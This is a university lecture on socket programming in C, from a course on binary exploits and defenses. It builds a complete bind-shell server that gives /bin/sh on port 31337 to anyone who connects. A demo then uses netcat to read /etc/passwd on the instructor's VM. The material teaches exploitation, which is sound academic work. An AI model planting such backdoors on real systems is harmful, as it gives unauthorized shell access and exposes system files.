SI485H: Stack Based Binary Exploits and Defenses (F15)

Home Policy Calendar Resources

Lec. 14: Socket Programming and Remote Shells

Table of Contents

1 Socket Programming in C

This lesson is all about writing shell code that create a listening port on the remote machine that when connected to, provides shell access to the exploited host. This requires us to recall how to do socket programming in C, which can be a pain.

For this lesson, we focus only on the server side, but you'll have to do some client side work for your labs…

1.1 socket()

First, a socket in C is just like any other file descriptor — it has an assigned number reference for the file descriptor table. To open a new socket, we use the socket system call:

int socket(int domain, int type, int protocol);

The domain of the socket describes the kind of socket we are using. This could be a Unix socket which is used for in-host communication, or it could be IPv4 socket or a IPv6 socket. In general, we are going to be using IPv4 sockets: AF_INET or PF_INET depending on the system.

Next the type describes what high-level protocol should be used to communicate on the socket. The two main varieties for types is SOCK_STREAM for TCP/IP sockets and SOCK_DGRAM for UDP sockets. Remote shells need reliable, session based communication, and thus we will use SOCKSTREAM.

Finally the protocol refers to type specific protocol settings: We will not use this and set this value to 0.

The return value from socket is an integer which is a reference to the file descriptor table. At this point, the socket is not really ready to do anything. We just opened it, but now we have to go about bind'ing the socket to an address.

When we put this all together, the code to open a socket is:

//open new socket for server
server = socket(AF_INET, SOCK_STREAM, 0);

1.2 bind()

A socket that is to be used as a server socket, that is, accept incoming connections, must be bound to a network address. This is required because some machines have multiple IP addresses, also called multi-homed, and the OS must know which interface the socket is to be associated with. The function definition is as follows:

int bind(int sockfd, const struct sockaddr *addr,
               socklen_t addrlen);

The sockfd is the socket file descriptor to be bound. The sockaddr reference addr is the address to be bound to, and the length argument is the length of the socket address.

Here's where things get annoying with C sockets: Each different socket type has a different address structure. You have to do a lot of annoying casting and setup in order to get the right socket address set up and passed to the bind() (and the accept()) function.

For AF_INET sockets, the relevant socket address is a sockaddr_in. Which has the following members:

struct sockaddr_in {
    short            sin_family;   // e.g. AF_INET, AF_INET6
    unsigned short   sin_port;     // e.g. htons(3490)
    struct in_addr   sin_addr;     // see struct in_addr, below
    char             sin_zero[8];  // zero this if you want to
};

Two important points about the address structure: (1) note that the port is stored in network byte order (not Little Endian) and we need to use htnos() to cover the order, and this is also the same for the in_addr portion; (2) there is a lot of padding in the structure, but the core parts, sinfamily, sinport and sinaddr will be 2 + 2 + 4 or 8 bytes in size, and with the padding of 8 bytes, the total structure is 16 bytes.

Initializing the server address and then binding to it looks like such:

struct sockaddr_in host_addr;

//set up server address
 memset(&(host_addr), '\0', sizeof(struct sockaddr_in));
 host_addr.sin_family=AF_INET;
 host_addr.sin_port=htons(31337);
 host_addr.sin_addr.s_addr=INADDR_ANY;

 //bind server socket
 if(bind(server, (struct sockaddr *) &host_addr, 
         sizeof(struct sockaddr)) < 0){
   perror("bind");
   return 1;
 }

There are a couple of things to take away from this process. We use the INADDR_ANY flag to indicate that we are ok with the bind occurring on "any" interface address. On most machines this is fine, but we might want to bind to a particular address in the future and to do that we would use inet_addr() or inet_ntoa() and etc to put address is network byte order. Finally notes that host_addr must be cast to a sockaddr.

1.3 listen()

The listen() system call establishes that the socket is to be used for incoming connections, i.e., as a server socket. listen() takes two arguments:

int listen(int sockfd, int backlog);

The first argument is the socket file descriptor to act upon. The second argument is the backlog which describes how many incoming connections can be pending prior to their acceptance. This argument is often confusing for programmers because it is not the number of client connections possible, but rather how many connections can be processed before accepting them. Consider that once a connection is accepted with the accept() system call, a new socket is creatted for that connection. At that point, the file descriptor resources have been allocated and systems are already in place to handle that connection. However, prior to that, there exists a small window where a client has connected to the server socket but there has not been a new socket created for accepting the connection. The backlog argument says how many such connections to the server socket can exist during that small window. A typical value for backlog is 4.

//set up listening queue
listen(server,4);

1.4 accept()

The last piece of the puzzle is accepting an incoming connection from the server socket to establish a new socket where you can communicate with the client. The arguments for accept() are:

int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);

The first argument is the socket file descriptor, and the second argument is a reference to a sockaddr which will be written to with the remote address of the client. The third argument is a reference to a size argument, which will store the size of the resulting argument. In practice, this code will look like:

int server;
struct sockaddr_in client_addr;

socklen_t sin_size ; //store size

//size of incoming addresses
sin_size = sizeof(struct sockaddr_in);

//accept incoming connection
client = accept(server, (struct sockaddr *) &client_addr, &sin_size);

The accept system call returns a new file descriptor that refers to the new socket for communication. It is important to remember that accept() is a blocking system call: it will not return until an incoming connection is made. This is much like the read() system call on stdin, which will not return until user input is provided (or the buffer is full).

At this point, the server has created a socket, bound the socket, listened for incoming connection, and accepted the connection with a new socket ready for reading and writing. The last thing to do use this to create a remote shell

2 Remote Shell

Consider for a second what is a remote shell? We use ssh a lot for our remote shells, and it is a secure shell, but what does it really mean?

In it's most basic form, a remote shell is just a mechanism for us to type on a terminal on the local machine and then send that input over the network where it becomes the input to a shell running on the remote machine. In the reverse direction, the results of running those commands on the remote machine is written to standard output (and standard error) and must then be transferred back over the network to the local machine where they are written to the terminal. Visually this might look something like this:

remote-shell.png

Since we are writing the server side of this, consider what we might want to do once an incoming connection is established. First, we have to start executing /bin/sh, but we need /bin/sh to have the standard file descriptors hooked up to the socket. The solution to that, is the dup2() system call.

//duplicate file descriptors for socket
dup2(client, 0);
dup2(client, 1);
dup2(client, 2); 

//execve shell
char *args[2]={"/bin//sh", NULL};
execve(args[0], args, NULL);

A socket is a two way file descriptor, unlike a pipe, so it can be read and written to. It's perfectly fine to duplicate it on to the stadard file descriptors. After the dup's all input/output/error from the program is drector to/from the socket. The last thing to do is to execute the shell which will inherent the file descriptor table, and thus now the shell is using the socket for all communication with the user. To connect the circuit, on a remote host, we connect to the serve.

#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void){
  int server, client; //server and client socket

  struct sockaddr_in host_addr, client_addr; //address structures
  socklen_t sin_size ; //store size
  int yes=1;

  //open new socket for server
  server = socket(AF_INET, SOCK_STREAM, 0);

  //set up server address
  memset(&(host_addr), '\0', sizeof(struct sockaddr_in));
  host_addr.sin_family=AF_INET;
  host_addr.sin_port=htons(31337);
  host_addr.sin_addr.s_addr=INADDR_ANY;

  //bind server socket
  if(bind(server, (struct sockaddr *) &host_addr, sizeof(struct sockaddr)) < 0){
    perror("bind");
    return 1;
  }

  //set up listening queue
  listen(server,4);

  //size of incoming addresses
  sin_size = sizeof(struct sockaddr_in);

  //accept incoming connection
  client = accept(server, (struct sockaddr *) &client_addr, &sin_size);


  //duplicate file descriptors for socket
  dup2(client, 0);
  dup2(client, 1);
  dup2(client, 2); 

  //execve shell
  char *args[2]={"/bin//sh", NULL};
  execve(args[0], args, NULL);

  return 0;
}

Now if I start the server on my local VM

user@si485H-base:demo$ ./rsh

On my host computer, I can connect over netcat, and then type cat /etc/passwd and it will go give me what I desire!

[aviv@potbelly] 14 > netcat 192.168.56.101 31337
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
usbmux:x:103:46:usbmux daemon,,,:/home/usbmux:/bin/false
dnsmasq:x:104:65534:dnsmasq,,,:/var/lib/misc:/bin/false
avahi-autoipd:x:105:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
kernoops:x:106:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
rtkit:x:107:114:RealtimeKit,,,:/proc:/bin/false
saned:x:108:115::/home/saned:/bin/false
whoopsie:x:109:116::/nonexistent:/bin/false
speech-dispatcher:x:110:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh
avahi:x:111:117:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
lightdm:x:112:118:Light Display Manager:/var/lib/lightdm:/bin/false
colord:x:113:121:colord colour management daemon,,,:/var/lib/colord:/bin/false
hplip:x:114:7:HPLIP system user,,,:/var/run/hplip:/bin/false
pulse:x:115:122:PulseAudio daemon,,,:/var/run/pulse:/bin/false
user:x:1000:1000:user,,,:/home/user:/bin/bash
vboxadd:x:999:1::/var/run/vboxadd:/bin/false
sshd:x:116:65534::/var/run/sshd:/usr/sbin/nologin
aviv:x:1001:1001:Adam Aviv,,,:/home/aviv:/bin/bash